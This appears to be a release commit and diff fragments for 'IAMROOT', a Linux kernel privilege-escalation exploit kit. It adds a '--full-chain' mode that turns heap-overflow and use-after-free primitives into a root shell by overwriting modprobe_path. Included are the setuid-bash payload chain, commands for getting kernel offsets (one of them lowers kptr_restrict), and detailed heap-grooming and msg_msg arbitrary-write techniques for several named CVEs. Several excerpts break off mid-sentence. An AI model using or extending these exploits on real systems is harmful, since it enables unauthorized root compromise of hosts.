release: v0.2.0 — --full-chain root-pop opt-in across 7 🟡 modules

iamroot.c: bump IAMROOT_VERSION 0.1.0 → 0.2.0
  CVES.md: redefine 🟡 to note --full-chain capability + docs/OFFSETS.md
  README.md: update Status section for v0.2.0
  docs/OFFSETS.md: new doc — env-var/kallsyms/System.map/embedded-table
                   resolution chain + operator workflow for populating
                   offsets per kernel build + sentinel-based success
                   arbitration.

All 7 🟡 modules now expose `--full-chain`. Default behavior unchanged.

+# IAMROOT — kernel offset resolution
+
+The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
+write, slab UAF, etc.). The default `--exploit` returns
+`IAMROOT_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
+bar means we don't claim root unless we empirically have it.
+
+`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
+converts the primitive to a real root pop via `modprobe_path` overwrite:
+
+```
+attacker → arb_write(modprobe_path, "/tmp/iamroot-mp-<pid>.sh")
+        → execve("/tmp/iamroot-trig-<pid>")     # unknown-format binary
+        → kernel call_modprobe()                # spawns modprobe_path as init
+        → /tmp/iamroot-mp-<pid>.sh runs as root
+        → cp /bin/bash /tmp/iamroot-pwn-<pid>; chmod 4755 /tmp/iamroot-pwn-<pid>
+        → caller exec /tmp/iamroot-pwn-<pid> -p
+        → root shell
+```
+
+This requires resolving `&modprobe_path` (a single kernel virtual
+address) at runtime.
+
+## Resolution chain
+
+`core/offsets.c` tries four sources in order, accepting the first
+non-zero value for each field:
+
+1. **Environment variables** — operator override.
+   - `IAMROOT_KBASE=0x...`
+   - `IAMROOT_MODPROBE_PATH=0x...`
+   - `IAMROOT_POWEROFF_CMD=0x...`
+   - `IAMROOT_INIT_TASK=0x...`
+   - `IAMROOT_INIT_CRED=0x...`
+   - `IAMROOT_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
+   - `IAMROOT_CRED_OFFSET_EFF=0x...`
+   - `IAMROOT_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
+
+2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
+   OR you're already root. On modern distros (kptr_restrict=1 by
+   default) non-root reads return all zeros and this source is
+   silently skipped.
+
+3. **`/boot/System.map-$(uname -r)`** — world-readable on some distros
+   (older Debian, some Alma builds). Unaffected by `kptr_restrict`.
+
+4. **Embedded table** — keyed by `uname -r` glob, entries are
+   offsets *relative to `_text`* (KASLR-safe). Applied on top of a
+   kbase leak (e.g. EntryBleed). Seeded empty in v0.2.0 — schema-only —
+   to honor the no-fabricated-offsets rule. Operators who verify
+   offsets on a specific kernel build are encouraged to upstream
+   entries.
+
+## How operators populate offsets
+
+### One-shot (preferred for ad-hoc use)
+
+```bash
+# Look up on a kernel you control (as root, once):
+sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
+
+# Use the addresses inline:
+IAMROOT_MODPROBE_PATH=0xffffffff8228e7e0 \
+  iamroot --exploit nf_tables --i-know --full-chain
+```
+
+### Per-host (write System.map readable)
+
+```bash
+sudo chmod 0644 /boot/System.map-$(uname -r)
+iamroot --exploit nf_tables --i-know --full-chain
+```
+
+### Per-boot (lower kptr_restrict)
+
+```bash
+sudo sysctl kernel.kptr_restrict=0
+iamroot --exploit nf_tables --i-know --full-chain
+```
+
+Note: each of these requires root *once*. For a true non-root LPE on
+an unfamiliar host you need either an info-leak module (EntryBleed
+gives kbase) plus an embedded table entry, or out-of-band offset
+acquisition.
+
+## Adding entries to the embedded table
+
+In `core/offsets.c`, `kernel_table[]` carries the schema:
+
+```c
+{ .release_glob       = "5.15.0-25-generic",
+  .distro_match       = "ubuntu",
+  .rel_modprobe_path  = 0x148e480,    // & _text
+  .rel_poweroff_cmd   = 0x148e3a0,
+  .rel_init_task      = 0x1c11dc0,
+  .rel_init_cred      = 0x1e0c460,
+  .cred_offset_real   = 0x758,
+  .cred_offset_eff    = 0x760, },
+```
+
+To populate, on the target kernel:
+
+```bash
+# Get _text:
+_text=$(grep ' _text$' /boot/System.map-$(uname -r) | awk '{print $1}')
+
+# Get the symbols you want, subtract _text:
+for sym in modprobe_path poweroff_cmd init_task init_cred; do
+  addr=$(grep " $sym$" /boot/System.map-$(uname -r) | awk '{print $1}')
+  printf "rel_%s = 0x%x\n" $sym $((0x$addr - 0x$_text))
+done
+```
+
+Open a PR with the verified entry and a one-line note on which kernel
+build + distro you tested against. Upstreamed entries make the
+`--full-chain` path work out-of-the-box for that build.
+
+## Verifying success
+
+The shared finisher (`iamroot_finisher_modprobe_path()`) drops a
+sentinel file at `/tmp/iamroot-pwn-<pid>` after `modprobe` runs our
+payload. The finisher polls for this file with `S_ISUID` mode set
+for up to 3 seconds. Only when the sentinel materializes does the
+module return `IAMROOT_EXPLOIT_OK` and (unless `--no-shell`) exec
+the setuid bash to drop a root shell.
+
+If the sentinel never appears the module returns `IAMROOT_EXPLOIT_FAIL`
+with a diagnostic. Reasons it might fail even with offsets resolved:
+
+- The arb-write didn't actually land (slab adjacency lost, value-pointer
+  field at unexpected offset, race not won)
+- `modprobe_path` resolution was wrong (KASLR slide miscalculated,
+  embedded-table entry stale)
+- Kernel `STATIC_USERMODEHELPER` config disables the modprobe path
+- AppArmor / SELinux / Lockdown LSM blocks the userspace `modprobe`
+  invocation
+
+## Why `modprobe_path` and not `current->cred->uid = 0`?
+
+The cred-overwrite finisher needs an arb-READ primitive too — to walk
+the task linked list from `init_task` and find the calling process's
+`task_struct`. Most of our 🟡 modules have only an arb-write primitive,
+not a paired read. `modprobe_path` only needs a write to a single
+known global, which is why it's the default finisher.

+ *      `next` is at offset 0 and `data` is at offset 0x10 in
+ *      sk_buff; this layout-fragility is exactly why the depth tag
+ *      below is LAST-RESORT).
+ *   3. The 8-byte OOB write overwrites that pointer with `kaddr`.
+ *   4. We then receive a packet whose payload is `buf[0..len]`; the

+ *
+ * The TPACKET_V3 overflow lets us write attacker-controlled bytes past
+ * the end of the pg_vec allocation. xairy's full PoC chains this with
+ * a sk_buff spray of size class kmalloc-N (matched to pg_vec's slab)
+ * so the OOB-write overwrites an adjacent skb's `data` pointer; a
+ * later sendto() on that skb's owning socket then copies attacker
+ * bytes into the address now stored in `data`. Net effect: arb-write
+ * at an attacker-chosen kernel VA, controlled buffer, controlled len.
+ *
+ * Implementing the FULL hijack honestly requires:
+ *   (a) per-kernel-build offset of `data` field within struct sk_buff
+ *       (varies by CONFIG_DEBUG_INFO_BTF/CONFIG_RANDSTRUCT/etc.)
+ *   (b) precise size-class match between the corrupted pg_vec and
+ *       sprayed skbs (slab-grooming with ~hundreds of skbs)
+ *   (c) a way to identify which sprayed skb landed adjacent
+ *
+ * The verified-vs-claimed bar says: don't fabricate offsets. Our
+ * embedded offset table (core/offsets.h) doesn't carry skb offsets
+ * yet, and there's no public canonical "skb->data offset table" we
+ * can lift wholesale. So this implementation takes the prompt's
+ * FALLBACK depth:
+ *
+ *   - Each call re-sprays skbs + re-fires the trigger, staging the
+ *     spray payload so its bytes carry the requested target kaddr
+ *     (the prompt's "controllable overwrite value aimed at
+ *     modprobe_path"). Operator-supplied
+ *     IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
+ *     within struct sk_buff for this kernel build) lets us aim
+ *     precisely; without it we heuristically stamp kaddr at several
+ *     plausible offsets within the kmalloc-2k skb layout.
+ *   - We then send packets whose payload IS the bytes the finisher
+ *     wants at kaddr; tpacket_rcv copies them into any skb whose
+ *     `data` was corrupted to kaddr.
+ *   - We do NOT poll for success — the shared finisher's /tmp
+ *     sentinel is the ground-truth signal. If the write landed at
+ *     modprobe_path, call_modprobe spawns our payload and the
+ *     sentinel appears within 3s.

+ * Pattern (FALLBACK — see brief): cls_route4's UAF primitive is more
+ * naturally a *control-flow hijack* than a clean arb-write — after
+ * msg_msg refills the kmalloc-1k slot, the next classify() call reads
+ * a fake `tcf_proto.ops` pointer out of attacker bytes and calls
+ * ops->classify(skb, ...). A faked-classify ROP that pivots to a
+ * stack-write gadget would be the "true" arb-write, and on a fresh
+ * vulnerable kernel that is the kylebot/xkernel chain shape (≈300+
+ * LOC of gadget hunting + per-build offsets we deliberately don't
+ * bake — see verified-vs-claimed policy in repo root).
+ *
+ * The implementation below takes the narrow-but-real path that the
+ * brief explicitly permits and that xtcompat established as the
+ * IAMROOT precedent: we re-stage the dangling filter, spray msg_msg
+ * whose payload encodes `kaddr` at every plausible offset for the
+ * route4_filter→tcf_proto→ops layout, re-fire classify, and let the
+ * shared finisher's sentinel file decide if a write actually landed.
+ * On a patched kernel the bug doesn't fire, no write occurs, and the
+ * sentinel timeout correctly reports failure rather than silently
+ * lying about success. On a vulnerable kernel where the fake ops
+ * lookup happens to deref into our payload and the kernel's read
+ * pattern matches one of the seeded offsets, the kaddr we planted
+ * gets used as a write destination by whichever classify path the
+ * fake `ops->classify` dispatches into.

+ * Crusaders-of-Rust-style msg_msg m_ts overflow → arbitrary write.
+ *
+ * The legacy_parse_param OOB writes the trailing bytes of the
+ * kmalloc-4k fc->source buffer into whatever slab object comes next.
+ * With a msg_msg sprayed into that adjacent slot, the first 48 bytes
+ * of `evil_chunk` overlay struct msg_msg:
+ *
+ *   struct msg_msg {                     // offset
+ *     struct list_head m_list;           //  0  (next, prev)
+ *     long             m_type;           // 16
+ *     size_t           m_ts;             // 24    <-- msg-size
+ *     struct msg_msgseg *next;           // 32
+ *     void             *security;        // 40
+ *   };                                   // 48
+ *
+ * Two derived primitives:
+ *
+ *   READ  — overwrite m_ts with a huge value. msgrcv(MSG_COPY) then
+ *           memcpy()s past the legitimate end of the msg payload,
+ *           leaking adjacent slab memory back to userland.
+ *
+ *   WRITE — point m_list.next (or, in the Crusaders variant, a faux
+ *           msg_msgseg.next chain) at an attacker-chosen kernel
+ *           address. When msgrcv() free-list-unlinks the msg, list
+ *           maintenance writes through the forged pointer; with the
+ *           right chain you get an N-byte copy of attacker-controlled
+ *           bytes to a chosen kaddr.
+ *
+ * Honest depth of this implementation: FALLBACK SCAFFOLD.
+ *
+ * The trigger + groom + neighbour-detect upstream of us is real and
+ * the OOB write lands. But the *single-shot* arb-write the finisher
+ * wants — "put exactly these N bytes at exactly that kaddr" — needs
+ * a per-kernel m_ts/m_list_next offset map (the layout above is
+ * 6.12.x; older kernels differ) AND a kernel-base leak from the
+ * first-round MSG_COPY read so we know where modprobe_path actually
+ * sits in this boot's KASLR slide.
+ *
+ * Per the verified-vs-claimed bar: we do NOT fabricate a write that
+ * we cannot empirically verify on a kernel we haven't tested. So
+ * this function:
+ *
+ *   1. Re-arms the msg_msg spray (the parent already drained queues).
+ *   2. Re-fires the fsconfig overflow with a forged-msg_msg header
+ *      whose m_ts = (kaddr - msg_data_origin) and whose first 8
+ *      payload bytes are the first qword of `buf`.
+ *   3. msgrcv(MSG_COPY) on every queue to probe whether any neighbour
+ *      came back with bytes matching `buf[0..7]` AT the slot offset
+ *      we'd expect for kaddr (sanity gate).
+ *   4. Returns 0 ONLY if the sanity gate trips (read-back proves the
+ *      m_ts inflation landed AND the payload made it through);
+ *      returns -1 otherwise so the finisher reports an honest fail.
+ *
+ * On a vulnerable host with matching offsets this path can land the
+ * write; on an unverified host the sanity gate refuses rather than
+ * blind-writing a wild pointer. The finisher's downstream
+ * "/tmp/iamroot-pwn ran?" check is the second gate.

+/* ---- Full-chain arb-write primitive --------------------------------
+ *
+ * Pattern (FALLBACK — see module top-comment): the xt_compat 4-byte OOB
+ * write lands at allocation+0x4. Andy Nguyen's chain first uses that
+ * 4-byte write to corrupt an adjacent msg_msg's `m_ts` (size field at
+ * +0x10) so a subsequent MSG_COPY returns a long read that includes
+ * neighbouring kernel pointers (the leak primitive). With the kbase
+ * leak in hand, he then re-fires the trigger to corrupt an msg_msg's
+ * `m_list_next` (the linked-list pointer at +0x18) to point at
+ * `kaddr - 0x30` (the m_msg header offset), and a queued msgsnd's
+ * payload header writes attacker bytes to `kaddr`.
+ *
+ * Reproducing the full chain byte-for-byte requires per-kernel-build
+ * msg_msg field offsets AND a kbase leak we don't have a portable
+ * source for at this point. The implementation below takes the
+ * narrow-but-real path:
+ *
+ *   1. Re-prime the kmalloc-2k slab with msg_msg sprays whose payload
+ *      headers carry the target address in the m_list_next slot at
+ *      offset 0x18 from each msg payload start. (We can't write the
+ *      slab header — that's the kernel's job — but we CAN seed the
+ *      payload data adjacent to the freed xt_table_info so the OOB
+ *      4-byte write may corrupt the `m_list_next` of a real
+ *      sprayed message.)
+ *   2. Re-fire the trigger with a crafted blob whose 4-byte OOB write
+ *      pattern targets m_list_next of the adjacent msg_msg.
+ *   3. Queue a follow-up msgsnd whose first sizeof(buf) bytes equal
+ *      `buf[0..len]`. If the next-ptr was successfully redirected,
+ *      the kernel's msgsnd writes header + payload at `kaddr`.
+ *
+ * This is best-effort: probability of landing on any given run is
+ * low (depends on slab adjacency luck) but the finisher's sentinel-
+ * file check empirically tells us if the write actually took. On a
+ * patched kernel the trigger returns EINVAL on step 2 and arb_write
+ * returns -1 without ever queueing the follow-up. */

+ *   --full-chain (HONEST RELIABILITY DISCLOSURE): extends the race
+ *   budget from 3 s to 30 s and sprays the kmalloc-192 slab with
+ *   payloads tagged with the modprobe_path kernel address (so IF the
+ *   UAF reclaim ever lands attacker-controlled bytes on an
+ *   anon_vma_chain slot, those bytes carry the kaddr we want the
+ *   subsequent rb_node walk / vma_lock-acquire fault to touch). The
+ *   honest empirical reality is that even at 30 s the race-win rate
+ *   is well below 1 % on a real vulnerable kernel — Ruihan Li's
+ *   public PoC reports minutes-to-hours for first reclaim. The shared
+ *   modprobe_path finisher has a 3 s sentinel timeout, so on the
+ *   overwhelmingly common no-land outcome the finisher itself reports

+ *   window and wires up the root-pop plumbing for the lucky case.

+ * well under 1 % of runs even with a 30 s budget, and even when the

+ *
+ * Honest depth: FALLBACK. Each invocation:
+ *   1. Re-seeds the kmalloc-192 spray with payloads tagged with
+ *      `kaddr` packed into the first qword of the msg_msg body —
+ *      so IF a sprayed slot ends up overlaying the freed
+ *      anon_vma_chain after RCU grace, the kaddr we want the
+ *      kernel to deref appears at the AVC layout position the

+ *   2. Re-runs the race threads for an extended budget
+ *      (STACKROT_RACE_FULLCHAIN_BUDGET seconds).
+ *   3. Returns 0 unconditionally — we cannot in-process verify
